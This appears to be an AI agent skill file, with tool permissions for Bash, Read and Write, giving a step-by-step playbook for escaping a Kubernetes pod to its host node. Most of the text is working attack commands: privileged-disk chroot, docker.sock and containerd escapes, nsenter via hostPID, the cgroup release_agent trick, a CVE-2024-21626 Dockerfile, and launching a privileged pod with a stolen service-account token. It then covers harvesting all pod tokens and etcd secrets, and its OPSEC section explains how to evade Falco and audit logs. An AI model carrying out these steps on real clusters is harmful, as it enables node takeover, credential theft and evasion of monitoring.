| name | k8s-pod-escape |
| description | Kubernetes pod escape to node — privileged container abuse, hostPath mount escape, hostPID/hostIPC, capability misuse (SYS_ADMIN, SYS_PTRACE), runC CVE chains. Pivots from RCE-in-pod to full node compromise. |
| allowed-tools | Bash Read Write |
| metadata | {"when_to_use":"kubernetes k8s pod escape container break out hostpath privileged hostpid hostipc capabilities cgroups runc cve-2022-0185 cve-2024-21626 leaky vessels","subdomain":"cloud-native","tags":"kubernetes, container-escape, privilege-escalation, hostpath","mitre_attack":"T1611, T1068, T1610"} |
Kubernetes Pod Escape to Node
You have RCE inside a pod. Goal: break out of the container to the underlying node, then pivot to the cluster.
Phase 1: Enumerate the container
cat /proc/self/status | grep -E '^(Cap|Seccomp|NoNewPriv)'
cat /proc/1/status | grep -i cap
mount | grep -E 'cgroup|hostpath|/var/run/docker.sock|/var/run/crio'
ls -la /dev | head -20
id
hostname
cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 60
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces/default/pods
Phase 2: Detect escape primitives (check each, escalate via the first that works)
2.1 Privileged container
grep CapEff /proc/self/status
ls -la /dev/sda* /dev/nvme*
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
2.2 hostPath mount to / or /etc or /var/run/docker.sock
mount | grep -E '/host|/node|docker.sock|/etc|/root'
ls /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/ 2>/dev/null
docker -H unix:///var/run/docker.sock run --rm -it --privileged -v /:/host alpine chroot /host
ctr -a /run/containerd/containerd.sock run --rm -t --privileged --mount type=bind,src=/,dst=/host,options=rbind alpine escape sh -c 'chroot /host'
2.3 hostPID + SYS_PTRACE (no privileged needed)
ps auxf | head
grep CapEff /proc/self/status
nsenter -t 1 -m -u -i -n -p sh
2.4 CAP_SYS_ADMIN without --privileged
grep CapEff /proc/self/status
mkdir /tmp/x && mount -t cgroup -o memory cgroup /tmp/x
echo 1 > /tmp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/x/release_agent
cat > /cmd <<'EOF'
ip a > /tmp/host_ip
id > /tmp/host_id
EOF
chmod +x /cmd
sh -c "echo \$\$ > /tmp/x/cgroup.procs"
2.5 runC CVE chain (CVE-2024-21626 "Leaky Vessels")
If runC < 1.1.12 / Docker < 25.0.3 / containerd < 1.7.13: WORKDIR + symlink trickery lets a malicious image escape. Check node runC version via the kubelet API or by reading /etc/docker/version if exposed.
cat > Dockerfile <<'EOF'
FROM scratch
WORKDIR /proc/self/fd/8
ENTRYPOINT ["/bin/sh"]
EOF
docker build -t evil .
docker run --rm -it evil
2.6 Service-account token → API server abuse
If the SA has pods/exec on a privileged pod or nodes/proxy on the node:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/pods?fieldSelector=spec.securityContext.privileged=true
kubectl --token="$TOKEN" --server=https://kubernetes.default.svc \
--insecure-skip-tls-verify run pwn --image=alpine \
--overrides='{"spec":{"hostPID":true,"hostNetwork":true,"containers":[{"name":"pwn","image":"alpine","command":["nsenter","-t","1","-m","-u","-i","-n","-p","sh"],"securityContext":{"privileged":true},"volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"name":"host","hostPath":{"path":"/"}}]}}'
Phase 3: Post-escape on node
Once you're on the node, pivot to the cluster:
find /var/lib/kubelet/pods/*/volumes/kubernetes.io~secret/*/token -exec cat {} \; -exec echo --- \;
cat /etc/kubernetes/kubelet.conf
ETCDCTL_API=3 etcdctl --endpoints=127.0.0.1:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
--key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
get / --prefix --keys-only | grep secrets
OPSEC
- Pod escapes generate AppArmor / SELinux / seccomp denials. Check
dmesg | tail for telemetry.
- Kubernetes audit log records every API call from your stolen tokens. Use the existing pod's token for low-noise enumeration before forging new tokens.
- Falco rules detect
nsenter, mount from container, and chroot outside the container. Quiet variants: write the payload to a host-shared volume and exec from a benign-looking process name.
References
- Trail of Bits "Leaky Vessels" writeup — CVE-2024-21626 / CVE-2024-23651 / CVE-2024-23652 / CVE-2024-23653
- DEFCON 29 "Kubernetes Goat" — Madhu Akula
- BountyHunter rule sets — Trivy, Kubescape, Kube-Hunter for defender perspective